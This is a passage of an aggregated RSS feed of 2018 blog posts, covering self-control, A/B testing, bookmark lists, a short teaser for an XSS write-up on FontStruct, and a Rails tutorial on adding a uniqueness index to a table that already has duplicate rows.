&lt;li&gt;You &lt;em&gt;will&lt;/em&gt; love the outcome.&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;
&lt;li&gt;Find a lovely alternative.&lt;ul&gt;
&lt;li&gt;You &lt;em&gt;will&lt;/em&gt; love the outcome.&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;
&lt;li&gt;Change nothing.&lt;ul&gt;
&lt;li&gt;You &lt;em&gt;may&lt;/em&gt; love the outcome.&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;
&lt;li&gt;Abandon it.&lt;ul&gt;
&lt;li&gt;You &lt;em&gt;may&lt;/em&gt; love the outcome.&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Lately, I've been having a lot of trouble going to the gym because, well, I hate it there. So let's plot out my options using the guide above:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Learn to love it.&lt;ul&gt;
&lt;li&gt;I love learning and science and challenges! I would probably enjoy weight-training a lot more if I reframed it as an experiment.&lt;/li&gt;
&lt;li&gt;I could also post constant reminders around my apartment to remind myself &lt;em&gt;why&lt;/em&gt; I wanted to do weight-training. But human-minds are really good at filtering out reminders. I should really figure out why I stopped caring about my goals.&lt;/li&gt;
&lt;li&gt;I could pair weight-training with things that I already love, like podcasts and close friends!&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;
&lt;li&gt;Find a lovely alternative.&lt;ul&gt;
&lt;li&gt;Rather than lifting weights, I may really enjoy something dextrous and skill-based like rock-climbing or swimming! Unfortunately, my goal is to gain &lt;em&gt;mass&lt;/em&gt;, and I think it will be particularly difficult for me to gain weight with that type of training.&lt;/li&gt;
&lt;li&gt;I could find new, interesting exercises! I've been really focused on barbell exercises, so maybe I focus more on machines? It's something to consider.&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;
&lt;li&gt;Change nothing.&lt;ul&gt;
&lt;li&gt;I may actually learn to love weight-lifting if I keep doing it! I really enjoyed it when I started. The problem is, what if I don't start loving it? What if I could spend my time bulking up faster on an activity that I actually enjoy? Seems stupid to me. I should change something.&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;
&lt;li&gt;Abandon it.&lt;ul&gt;
&lt;li&gt;Nah, exercise is important. But maybe I should stop wanting to bulk up so badly? Maybe I should change my goals? Maybe I'm more of a marathon-type person? Seems like an unsatisfying option.&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Anyway, it's actually kind of fun exploring yourself this way! I learned a lot about myself just writing that simple list.&lt;/p&gt;
&lt;p&gt;Life is like a bunch of forking roads. If you apply judicious self-control, you may end up where you want to go, but you may hate the entire journey there. Or even worse, you may hate the entire journey there, and &lt;em&gt;also hate the destination&lt;/em&gt;. Take some time to look at other options!&lt;/p&gt;
&lt;h2 id="self-flagellation"&gt;Self-Flagellation&lt;/h2&gt;
&lt;p&gt;I have a lot of things to say about Christianity, but I guess I'll save it for another time.&lt;/p&gt;
&lt;h2 id="feeling-bad-about-what-i-do-all-alone-all-by-myself"&gt;Feeling Bad About What I Do All-Alone All By Myself&lt;/h2&gt;
&lt;p&gt;I don't remember what I was originally going to write here, but I love this subtitle 🐸&lt;/p&gt;
&lt;h2 id="tldr"&gt;TL;DR&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Self-control is weird and sometimes bad.&lt;ul&gt;
&lt;li&gt;Knock down others' social-restraints -- give everybody safe spaces for bad ideas.&lt;/li&gt;
&lt;li&gt;Stop doing things you dislike and you'll probably be happier.&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;
&lt;/ul&gt;</description><author>taylor.town</author><pubDate>Mon, 01 Oct 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://taylor.town/self-control</guid></item><item><title>Trifecta of Obers</title><link>https://rjp.is/blogging/posts/trifecta-of-obers/</link><description>In which we make plans we fail to keep.</description><author>infrequent oscillations</author><pubDate>Sun, 30 Sep 2018 20:01:54 GMT</pubDate><guid isPermaLink="true">https://rjp.is/blogging/posts/trifecta-of-obers/</guid></item><item><title>Doing the same thing and expecting different result</title><link>http://dimitarsimeonov.com/2018/09/30/doing-the-same-thing-and-expecting-different-result</link><description>&lt;p&gt;Einstein’s had a lot of witty and profound sayings, but “The definition of insanity is doing the same thing over and over again and expecting a different result” is &lt;a href="https://quoteinvestigator.com/2017/03/23/same/"&gt;not one of them&lt;/a&gt;. And yet, these words had often been misattributed to him. It is not exactly clear who came up with the phrase, but it is a fact that a lot of people got convinced that originated behind the famous mustache of Einstein.&lt;/p&gt;

&lt;p&gt;He was one of the giants of science in the 20th century, (Einstein, not the ’stache) which means that the phrase has the sound, the ring of something smart. It sounds like something a physics genius might say.  The phrase sounds sciencey.&lt;/p&gt;

&lt;p&gt;And it had me believing it. Einstein, Meinstein or whoever said it, I subscribed to it. Until my work experience proved it otherwise.&lt;/p&gt;

&lt;p&gt;Back when I worked for Twitter, I was running A/B tests. A properly conducted A/B test is one of the closest things you get to science when building a product. It lets you sift the noise and luck out so you can arrive at a piece of knowledge. If I change the product from A to B, I will get X% of my customers better by Y% with statistical significance. That’s the type of sentence you can confidently claim and bet a lot of money on after an A/B test.&lt;/p&gt;

&lt;p&gt;And yet, A/B tests lack one crucial property of science. They are not reproducible. If you run an A/B test today, and run the same A/B test six months from now, you might get a  different result. Allowing for a different result is &lt;em&gt;emphatically&lt;/em&gt; not insanity. I get it, running the same experiment is &lt;em&gt;likely&lt;/em&gt; to result in the same effect. But likely ain’t &lt;em&gt;certain&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;I saw the same experiment get run twice, the two runs being about a year apart. The results were different. The first time around, the experiment didn’t show any improvement. And yet, half a year later, it did work. The circumstances had changed. What we were trying to test worked better, even though the idea was the same. One year later, it showed positive improvement. It was green.&lt;/p&gt;

&lt;p&gt;Same idea. Different result. 
This is counterintuitive AF. It was surprising after the fact, but even harder to imagine a priori.&lt;/p&gt;

&lt;p&gt;Because we tend to overgeneralize from limited experiences and discard ideas that failed once before. Once an idea has been tried unsuccessfully, we tend to give it a black stamp in the passport and ban it from entering our heads again. We want knowledge that we can trust, and it sometimes takes a single foul for us to discredit an idea. One strike. Out.&lt;/p&gt;

&lt;p&gt;Unscientific. Because science is all about reproducibility. The definition of science is doing the same thing over and over and &lt;strong&gt;knowing&lt;/strong&gt; that you’ll get the same result. You can prove scientifically that if you drop an apple, in the absence of interference from other forces, it will fall down. It would be incredibly stupid and yes… insane to believe that the apple may not fall down. It will be non-scientific, which means that it is not the way the universe we live in works.&lt;/p&gt;

&lt;p&gt;In our universe, gravity force always tries to pull objects down. And science is the way of determining the rules of the universe. But there are limits to science even in a deterministic system.&lt;/p&gt;

&lt;p&gt;For example, take magnets. It is reasonable to expect that the North Pole of a compass will always be pointing at the North Pole of the Earth.  It has always been pointing the same way. People have used it to navigate around the globe, for centuries, even millennia. And yet, it might flip around. It hasn’t always been that way. The magnetic field of Earth has &lt;a href="https://en.wikipedia.org/wiki/Geomagnetic_reversal"&gt;reversed its direction multiple times, at random intervals&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;img alt="geomagnetic_reversal" src="/assets/image/20180929_samething/reversal.gif" /&gt;&lt;/p&gt;

&lt;p&gt;The magnetic reversal of the poles is due to being part of a chaotic dynamic system. Molten metals and whatnot are spinning and twirling and splashing and splashing inside the Earth’s core. If they spin mostly in circles, their electric charge generates a powerful magnetic field.  It’s like a cup of coffee spinning after adding milk or sugar, but it is possible to spin it the other way rather quickly by changing the direction in which we stir it with a spoon.&lt;/p&gt;

&lt;p&gt;In a chaotic system like that, the further you go out in the future, the lower your ability to predict what would happen. And the catch is that &lt;strong&gt;anything&lt;/strong&gt; could happen. When dealing with chaotic systems, like the weather or politics, “expecting the unexpected” is not insanity. It’s common sense for the long run.&lt;/p&gt;

&lt;p&gt;And we are often part of the systems. We adapt, learn new skills, and forget things such as what we had for lunch yesterday. Which means that if we’ve tried to do something before, and it didn’t work, but we’ve changed and we are trying it again… well, we might not be trying &lt;em&gt;exactly&lt;/em&gt; the same idea.  Not in the scientific sense of it being the same. Of course, if there are a lot of similarities, then we might have a strong prior expectation that the result will be the same. But there always are small differences, and often they matter a lot.&lt;/p&gt;

&lt;p&gt;“Try harder” is a phrase many of us have heard, whether from a coach or a boss or a parent. The idea is that the reason for not succeeding before is our level of effort. Some tasks require a lot of strength, concentration and force us to muster our entire self. To “try harder.”&lt;/p&gt;

&lt;p&gt;And sometimes the change in the chaotic system is imperceptible to us. We might be in a negotiation and keep on asking our counterpart to agree on something. They might be using our persistence to evaluate how much we care about the topic, and the amount we care might be a factor in them deciding whether to acquiesce to our demands, and by persisting on a topic, we might be more convincing. Such persistence only works sometimes though, as it can be interpreted as badgering, or bullying and could alienate the other side. Even if it gives us a win, it might be a pyrrhic win, dragging us down in the long term.&lt;/p&gt;

&lt;p&gt;So… what’s the whole point. Was Meinstein right to point at insanity, where others might see persistence?
I think not. I believe unless scientifically proven wrong, we shouldn’t give up easily. To paraphrase another big physicist, David Deutsch “Everything that’s not forbidden by the laws of physics is possible.”&lt;/p&gt;

&lt;p&gt;To overgeneralize failure is a logical fallacy. To tell ourselves stories, claiming that things are impossible. These stories are lies.&lt;/p&gt;

&lt;p&gt;And we can stop lying to ourselves.&lt;/p&gt;</description><author>D13V</author><pubDate>Sun, 30 Sep 2018 06:12:13 GMT</pubDate><guid isPermaLink="true">http://dimitarsimeonov.com/2018/09/30/doing-the-same-thing-and-expecting-different-result</guid></item><item><title>Gaming bookmarks</title><link>https://xenodium.com/gaming-bookmarks</link><description>&lt;ul&gt;
&lt;li&gt;&lt;a href="http://openemu.org/"&gt;OpenEmu - Multiple Video Game System for owned ROMs&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://twitter.com/SethAbramson/status/1412177674596986881"&gt;The Top 100 Android Video Games&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;</description><author>xenodium.com @alvaro</author><pubDate>Sun, 30 Sep 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/gaming-bookmarks</guid></item><item><title>FontStruct - Break the Font InfraSTRUCTure!</title><link>https://serhack.me/articles/fontstruct-xss-break-the-font-en/</link><description>The website &lt;a href="https://fontstruct.com"&gt;FontStruct&lt;/a&gt; allows even novice users to create their own personal font from scratch. A very simplified procedure: you sign up and you are ready to compose your font. Everything is offered through a simple interface as a free service. Not bad for a free service! -&lt;a href="https://serhack.me/articles/fontstruct-xss-break-the-font-en/"&gt;Continue to read the article on SerHack.me&lt;/a&gt;</description><author>SerHack - Security Researcher</author><pubDate>Sun, 30 Sep 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://serhack.me/articles/fontstruct-xss-break-the-font-en/</guid></item><item><title>Waspr Project - Start failing</title><link>https://craftyduck.rocks/blog/waspr-en/02-start-failing</link><description>First ideas, bad ideas</description><author>CraftyDuck.Rocks</author><pubDate>Sun, 30 Sep 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://craftyduck.rocks/blog/waspr-en/02-start-failing</guid></item><item><title>Why Clojure?</title><link>https://briansunter.com/why-clojure</link><description>What makes Clojure interesting and well suited for modern software development?</description><author>Brian Sunter</author><pubDate>Sun, 30 Sep 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://briansunter.com/why-clojure</guid></item><item><title>I2c Tools for Project RBOT</title><link>https://blog.herlein.com/post/i2c-for-robot/</link><description>&lt;p&gt;I2C Tools I am Using for the RBOT Project&lt;/p&gt;</description><author>Greg Herlein</author><pubDate>Sat, 29 Sep 2018 18:44:43 GMT</pubDate><guid isPermaLink="true">https://blog.herlein.com/post/i2c-for-robot/</guid></item><item><title>Solving My Email Problem - Followup</title><link>https://blog.nawaz.org/posts/2018/Sep/solving-my-email-problem-followup/</link><description>&lt;p&gt;My last
&lt;a class="reference external" href="https://blog.nawaz.org/posts/2018/Sep/solving-my-email-problem/"&gt;post&lt;/a&gt;
got quite a few
&lt;a class="reference external" href="https://news.ycombinator.com/item?id=18100807"&gt;comments&lt;/a&gt; on Hacker
News. They did force me to think a little, and here I&amp;#8217;ll gather some of
my&amp;nbsp;thoughts.&lt;/p&gt;
&lt;div class="section" id="i-have-an-email-workflow-that-is-different-from-yours"&gt;
&lt;h2&gt;&lt;span class="dquo"&gt;&amp;#8220;&lt;/span&gt;I have an email workflow that is different from&amp;nbsp;yours&amp;#8221;&lt;/h2&gt;
&lt;p&gt;If you&amp;#8217;re happy with your email setup, I am by no …&lt;/p&gt;&lt;/div&gt;</description><author>Beetle Space</author><pubDate>Sat, 29 Sep 2018 10:00:00 GMT</pubDate><guid isPermaLink="true">https://blog.nawaz.org/posts/2018/Sep/solving-my-email-problem-followup/</guid></item><item><title>Install docker on debian with Ansible</title><link>https://yasha.solutions/install-docker-on-debian-with-ansible/</link><description>Here is a playbook for Ansible to install Docker and Docker Compose on Debian.
You can of course, use a role from Galaxy. You have Gerling’s version or Debops (Ansible stack for Debian).
But here I wanted to implement the install guide from Docker – and translate this into an Ansible playbook (which then should be turn into a custom role for more reusability).
The official guide give use the following install steps:</description><author>Yasha Solutions</author><pubDate>Sat, 29 Sep 2018 08:59:28 GMT</pubDate><guid isPermaLink="true">https://yasha.solutions/install-docker-on-debian-with-ansible/</guid></item><item><title>Lua bookmarks</title><link>https://xenodium.com/lua-bookmarks</link><description>&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/sumneko/lua-language-server/wiki/Build-and-Run-(Standalone)"&gt;Build and Run (Standalone) · sumneko/lua-language-server Wiki · GitHub&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://sepisoad.com/blog/how%20to%20lua%20and%20c%20-%20a%20short%20novel.html"&gt;how to lua and c - a short novel&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://luadigest.immortalin.com/"&gt;Lua Digest&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://news.ycombinator.com/item?id=17969795"&gt;Lua tables (Hacker News)&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;</description><author>xenodium.com @alvaro</author><pubDate>Sat, 29 Sep 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/lua-bookmarks</guid></item><item><title>Skin product bookmarks</title><link>https://xenodium.com/skin-product-bookmarks</link><description>&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.rebootedmom.com/diy-deodorant-bars/"&gt;DIY Deodorant Bars - Rebooted Mom&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://blog.freepeople.com/2015/03/allnatural-deodorant-bars/"&gt;How to Make Your Own All-Natural Deodorant Bars&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://sarahfrascamakeup.blogspot.com/2011/04/good-bad-and-ugly-lush-cosmetics.html"&gt;Sarah Frasca Makeup: The good, the bad and the ugly: Lush Cosmetics&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.ewg.org/skindeep/"&gt;Skin Deep® Cosmetics Database (EWG)&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;</description><author>xenodium.com @alvaro</author><pubDate>Sat, 29 Sep 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/skin-product-bookmarks</guid></item><item><title>Sustainability bookmarks</title><link>https://xenodium.com/sustainability-bookmarks</link><description>&lt;ul&gt;
&lt;li&gt;&lt;a href="https://factory45.co/"&gt;Source Fabric. Find a Manufacturer. Raise Money to Fund Production. (Factory45)&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;</description><author>xenodium.com @alvaro</author><pubDate>Sat, 29 Sep 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/sustainability-bookmarks</guid></item><item><title>Investment platform bookmarks</title><link>https://xenodium.com/investment-platform-bookmarks</link><description>&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.portfoliovisualizer.com/backtest-portfolio"&gt;Backtest Portfolio Asset Allocation&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://bravos.co/"&gt;Bravos&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.cmlviz.com/"&gt;CMLviz.com - BETA&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.degiro.eu/"&gt;DEGIRO - Online Stock Trading - Stockbroking (cheaper?)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://iextrading.com/developer/"&gt;Free Stock API for Realtime and Historical Data (IEX)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://freetrade.io/"&gt;Freetrade - Free Stock Investing&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.halifax.co.uk/sharedealing/"&gt;Halifax UK | Buying and selling (Sharedealing)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.hl.co.uk/"&gt;Hargreaves Lansdown (ISAs, pensions, funds and shares)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://twitter.com/kanhaic/status/1411302254884261893"&gt;How I have automated my #algotrading and spend less than ₹10&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.iweb-sharedealing.co.uk/share-dealing-home.asp"&gt;IWeb Share Dealing (cheaper?)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.fundingcircle.com/uk/investors/"&gt;Lend to UK Businesses | Investment (Funding Circle)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.ratesetter.com/"&gt;RateSetter Peer To Peer Lender (P2P Investing and Borrowing)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.stockportfolioorganizer.com/"&gt;Stock Portfolio Management Software (Stock Portfolio Organizer)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://stockdaddy.io/"&gt;StockDaddy - Free, real-time, easy to use stock portfolio tracker&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://stocklight.com/"&gt;StockLight - Australia's premier investing app&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://wallmine.com/stocks-and-cryptocurrency-portfolio-tracker"&gt;Stocks and cryptocurrency portfolio tracker (wallmine)&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;</description><author>xenodium.com @alvaro</author><pubDate>Sat, 29 Sep 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/investment-platform-bookmarks</guid></item><item><title>Empathy is the new black</title><link>https://yasha.solutions/empathy-is-the-new-black/</link><description>For what it’s worth, I have been noticing a raising interest for empathy in the past few years.
It’s been popping everywhere from a variety of fields, either in business and entrepreneurship, human resources and management to more more remote fields like design and product development as well as the obvious therapy and education fields.
Science seems to have discovered a couple of years ago that we are wired for it:but science isn’t really everything there is to it – I mean look at this article about this lady being a lead researcher on empathy, and she still managed to bullied colleagues and staff.</description><author>Yasha Solutions</author><pubDate>Fri, 28 Sep 2018 13:08:24 GMT</pubDate><guid isPermaLink="true">https://yasha.solutions/empathy-is-the-new-black/</guid></item><item><title>Rails Migration: When you can't add a uniqueness constraint because you already have duplicates</title><link>https://josh.works/add_uniqueness_constraint_on_column_with_existing_duplicates</link><description>&lt;p&gt;&lt;em&gt;I get to occasionally contribute to the Wombat Security dev blog. I wrote the following for &lt;a href="http://development.wombatsecurity.com/development/2018/09/28/rails-migration-add-uniqueness-constraint/"&gt;development.wombatsecurity.com&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

&lt;h2 id="this-post-has-been-updated-to-reflect-some-lessons-learned-while-running-this-migration-in-production-dont-leave-a-column-without-an-index-at-any-point-in-the-migration-skip-to-section"&gt;This post has been updated to reflect some lessons learned while running this migration in production. &lt;em&gt;Don’t leave a column without an index at any point in the migration&lt;/em&gt;. &lt;a href="#update-do-not-leave-a-column-without-an-index-at-any-point-in-the-migration"&gt;skip to section&lt;/a&gt;&lt;/h2&gt;

&lt;p&gt;For work, I picked up a bug where a CSV export was creating duplicate rows when it shouldn’t have been.&lt;/p&gt;

&lt;p&gt;We generate the CSV export with a big ol’ SQL statement in some Elixir workers, and got the bug reproduced and found the problem was with how we did some joins on other columns.&lt;/p&gt;

&lt;p&gt;We had something in the statement like this:&lt;/p&gt;

&lt;div class="language-sql highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="k"&gt;LEFT&lt;/span&gt; &lt;span class="k"&gt;OUTER&lt;/span&gt; &lt;span class="k"&gt;JOIN&lt;/span&gt; &lt;span class="nv"&gt;`reports`&lt;/span&gt; &lt;span class="k"&gt;ON&lt;/span&gt; &lt;span class="nv"&gt;`reports`&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nv"&gt;`id`&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;`people`&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nv"&gt;`report_id`&lt;/span&gt;
&lt;span class="k"&gt;LEFT&lt;/span&gt; &lt;span class="k"&gt;JOIN&lt;/span&gt; &lt;span class="nv"&gt;`addresses`&lt;/span&gt; &lt;span class="k"&gt;ON&lt;/span&gt; &lt;span class="nv"&gt;`addresses`&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nv"&gt;`people_id`&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;`people`&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nv"&gt;`id`&lt;/span&gt;
&lt;span class="k"&gt;LEFT&lt;/span&gt; &lt;span class="k"&gt;JOIN&lt;/span&gt; &lt;span class="nv"&gt;`favorite_colors`&lt;/span&gt; &lt;span class="k"&gt;ON&lt;/span&gt; &lt;span class="nv"&gt;`favorite_colors`&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nv"&gt;`people_id`&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;`people.id`&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;In this highly contrived example, I found out that we’re expecting a single row in the &lt;code class="language-plaintext highlighter-rouge"&gt;favorite_colors&lt;/code&gt; table for each &lt;code class="language-plaintext highlighter-rouge"&gt;person&lt;/code&gt;, but we were getting multiple &lt;code class="language-plaintext highlighter-rouge"&gt;favorite_color&lt;/code&gt; rows.&lt;/p&gt;

&lt;p&gt;Every time we had a duplicate row on that joined table, the &lt;code class="language-plaintext highlighter-rouge"&gt;LEFT JOIN&lt;/code&gt; created two rows in the export, even though there should have been one.&lt;/p&gt;

&lt;!--more--&gt;

&lt;p&gt;&lt;a href="https://robots.thoughtbot.com/the-perils-of-uniqueness-validations"&gt;Thoughtbot has an amazing article about the exact problem we were having&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;In that article, they describe the problem with uniqueness validations like so:&lt;/p&gt;

&lt;p&gt;&lt;img alt="unique_without_index" src="/images/unique_without_index.png" /&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;&lt;a href="https://robots.thoughtbot.com/the-perils-of-uniqueness-validations"&gt;https://robots.thoughtbot.com/the-perils-of-uniqueness-validations&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;We need to enforce uniqueness at the &lt;em&gt;database&lt;/em&gt; level. Not the model level.&lt;/p&gt;

&lt;h2 id="whats-the-easy-fix"&gt;What’s the easy fix?&lt;/h2&gt;

&lt;p&gt;The “easy” fix is simple - Add an index to the column you want to enforce uniqueness upon, then add a uniqueness constraint:&lt;/p&gt;

&lt;p&gt;(since this column already happened to have an index in our database, we have to remove it and re-add it in the migration)&lt;/p&gt;

&lt;div class="language-ruby highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;AddUniquenessConstraintToFavoriteColors&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="no"&gt;ActiveRecord&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="no"&gt;Migration&lt;/span&gt;
 &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;change&lt;/span&gt;
   &lt;span class="n"&gt;remove_index&lt;/span&gt; &lt;span class="ss"&gt;:favorite_colors&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ss"&gt;:person_id&lt;/span&gt;
   &lt;span class="n"&gt;add_index&lt;/span&gt; &lt;span class="ss"&gt;:favorite_colors&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ss"&gt;:person_id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ss"&gt;unique: &lt;/span&gt;&lt;span class="kp"&gt;true&lt;/span&gt;
 &lt;span class="k"&gt;end&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Lets make this a bit more explicit. We’ll define an &lt;code class="language-plaintext highlighter-rouge"&gt;up&lt;/code&gt; and &lt;code class="language-plaintext highlighter-rouge"&gt;down&lt;/code&gt; migration. (you’ll see why in a moment)&lt;/p&gt;

&lt;h3 id="updown-migration"&gt;Up/down migration&lt;/h3&gt;

&lt;p&gt;I am going to be explicit about the up and down, for the rollback:&lt;/p&gt;

&lt;div class="language-ruby highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;AddUniquenessConstraintToFavoriteColors&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="no"&gt;ActiveRecord&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="no"&gt;Migration&lt;/span&gt;
  &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;up&lt;/span&gt;
    &lt;span class="n"&gt;remove_index&lt;/span&gt; &lt;span class="ss"&gt;:favorite_colors&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ss"&gt;:person_id&lt;/span&gt;
    &lt;span class="c1"&gt;# you can't MODIFY the index, just remove it, then re-add it with the changes&lt;/span&gt;
    &lt;span class="n"&gt;add_index&lt;/span&gt; &lt;span class="ss"&gt;:favorite_colors&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ss"&gt;:person_id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ss"&gt;unique: &lt;/span&gt;&lt;span class="kp"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ss"&gt;algorithm: :inplace&lt;/span&gt;
    &lt;span class="c1"&gt;# unique forces uniqueness (duh)&lt;/span&gt;
  &lt;span class="k"&gt;end&lt;/span&gt;
  
  &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;down&lt;/span&gt;
    &lt;span class="n"&gt;remove_index&lt;/span&gt; &lt;span class="ss"&gt;:favorite_colors&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ss"&gt;:person_id&lt;/span&gt;
    &lt;span class="c1"&gt;# removing the index that has uniqueness constraint&lt;/span&gt;
    &lt;span class="n"&gt;add_index&lt;/span&gt; &lt;span class="ss"&gt;:favorite_colors&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ss"&gt;:person_id&lt;/span&gt;
    &lt;span class="c1"&gt;# adding one without the constraint&lt;/span&gt;
  &lt;span class="k"&gt;end&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This migration will work, &lt;em&gt;if&lt;/em&gt; you run it against a table that doesn’t have duplicate values in the given column.&lt;/p&gt;

&lt;p&gt;But the &lt;em&gt;whole reason&lt;/em&gt; I was digging into all this was because I had a table with duplicate values. This is a table that now has many rows of data, and more than a few duplicates.&lt;/p&gt;

&lt;p&gt;If you run the above migration, and there are duplicates on the table, you’ll get a lovely error like so:&lt;/p&gt;

&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;== 20180914203948 AddUniquenessConstraintToFavoriteColors: migrating ========================
-- remove_index(:favorite_colors, :person_id)
   -&amp;gt; 0.0388s
-- add_index(:favorite_colors, :person_id, {:unique=&amp;gt;true, :algorithm=&amp;gt;:inplace})
rake aborted!
StandardError: An error has occurred, all later migrations canceled:

Mysql2::Error: Duplicate entry '44' for key 'index_favorite_colors_on_person_id': CREATE UNIQUE INDEX `index_favorite_colors_on_person_id`  ON `favorite_colors` (`person_id`) ALGORITHM = INPLACE
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h1 id="clean-up-duplicates-and-add-uniqueness-constraint"&gt;Clean up duplicates &lt;em&gt;and&lt;/em&gt; add uniqueness constraint&lt;/h1&gt;

&lt;p&gt;The big question was:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;How do we clean up the duplicates, &lt;em&gt;and&lt;/em&gt; run the migration, without duplicates showing up between when we clean them up and run the migration?&lt;/p&gt;
&lt;/blockquote&gt;

